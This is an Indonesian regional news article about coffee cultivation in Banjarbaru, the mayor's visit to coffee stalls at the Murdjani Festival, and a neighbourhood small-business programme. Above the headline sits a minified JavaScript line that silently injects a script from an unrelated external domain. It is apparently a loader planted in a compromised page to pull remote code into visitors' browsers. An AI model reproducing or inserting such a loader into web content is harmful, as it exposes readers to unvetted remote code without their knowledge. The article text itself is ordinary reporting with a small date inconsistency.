(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Banjarbaru Tak Hanya Tempat Ngopi, Kebun Kopi Pun Ada

KANALKALIMANTAN.COM, BANJARBARU – Siapa sangka ada jenis kopi yang berhasil ditanam di tanah Ibu Kota Provinsi Kalimantan Selatan.

Tanaman kopi yang berhasil dibudidayakan ialah jenis Kopi Liberika.

Hal itu diakui langsung Wali Kota Banjarbaru Aditya Mufti Ariffin saat acara Banjarbaru Murdjani Festival 2022, Jum’at (8/12/2023) malam.

“Tanaman Kopi Liberika itu berhasil ditanam melalui program RT Mandiri di kawasan Sidodadi Landasan Ulin Banjarbaru,” sebut Aditya.

“Saat ini melalui program RT Mandiri tersebut, penanam bibit kopi Alhamdulillah telah menghasilkan biji kopi dan saat ini pihaknya tengah berjalan mengekspornya,” sambung Wali Kota Banjarbaru.

Menurutnya, banyak masyarakat belum banyak yang mengetahui tentang adanya kopi yang bisa ditanam di tanah Banjarbaru ini.

Wali Kota Banjarbaru Aditya Mufti Arifin berama istri Vivi Zubedi menjajaki 20 stan Coffee Shop dalam kegiatan Murdjani Coffee Time di lapangan dr Murdjani, Jumat (8/12/23) malam. Foto: wanda

Demi memperkenalkan itu pula, ia bersama istri Vivi Zubedi, menjajaki sedikitnya 20 stan Coffee Shop dalam kegiatan Murdjani Coffee Time di lapangan dr Murdjani.

Melalui Murdjani Coffee Time di acara Banjarbaru Murdjani Festival 2023, Walikota bersama Istri mengajak masyarakat mengenal kopinya Banjarbaru, bukan hanya kenal tempatnya ngopinya saja.

“Tentunya melalui event ini kita perkenalkan lagi kopinya Banjarbaru, bukan hanya tempat ngopi,” sebut dia.

Dari puluhan stan coffee shop yang dijajaki itu, ia mengatakan ada sebagian penjual yang menggunakan tanaman biji kopi langsung dari Kalimantan Selatan dan ada juga yang mendatangkannya dari luar.

Di sisi lain ia mengungkapkan Pemerintah Kota Banjarbaru terus melakukan peningkatan baik itu pengolahan kopi sampai kepada proses tanam.

“Seperti untuk pembibitan sendiri kita sudah membuatnya di kawasan Gunung Kupang tahun ini, dan mudahan-mudahan di tahun depan dapat berhasil dipanen, sehingga kopi asli Banjarbaru populasinya dapat lebih banyak lagi,” jelas Aditya.

Dalam kesempatan yang sama, Vivi mengaku mendapatkan kejutan dengan melihat kelajuan dari perkembangan UMKM di Kota Banjarbaru.

“Jujur saya terkejut melihat bagaimana melaju pesatnya UMKM di Kota Banjarbaru, ini menjadi bukti program pak Walikota terhadap RT Mandiri ini berhasil membuat UMKM semakin percaya diri,” ungkapnya di sela-sela kunjungan stan.

Berkat dukungan full dari Wali Kota bersama dengan jajaran Pemerintah Kota Banjarbaru, tepat hari ini, sambung dia, masyarakqt dapat melihat bagaimana UMKM dapat memberikan hasil yang berkualitas.

Adapun program RT Mandiri ini dikemas dengan kegiatan Tungku Nusantara yang memamerkan produk-produk UMKM mandiri yang tersebar di masing-masing kelurahan dan kecamatan di Kota Banjarbaru.

Produk yang dijual tidak hanya kopi, namun juga ada macam-macam olahan camilan seperti kerupuk-kerupuk khas Kalimantan, olahan telur asin hingga telur puyuh. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie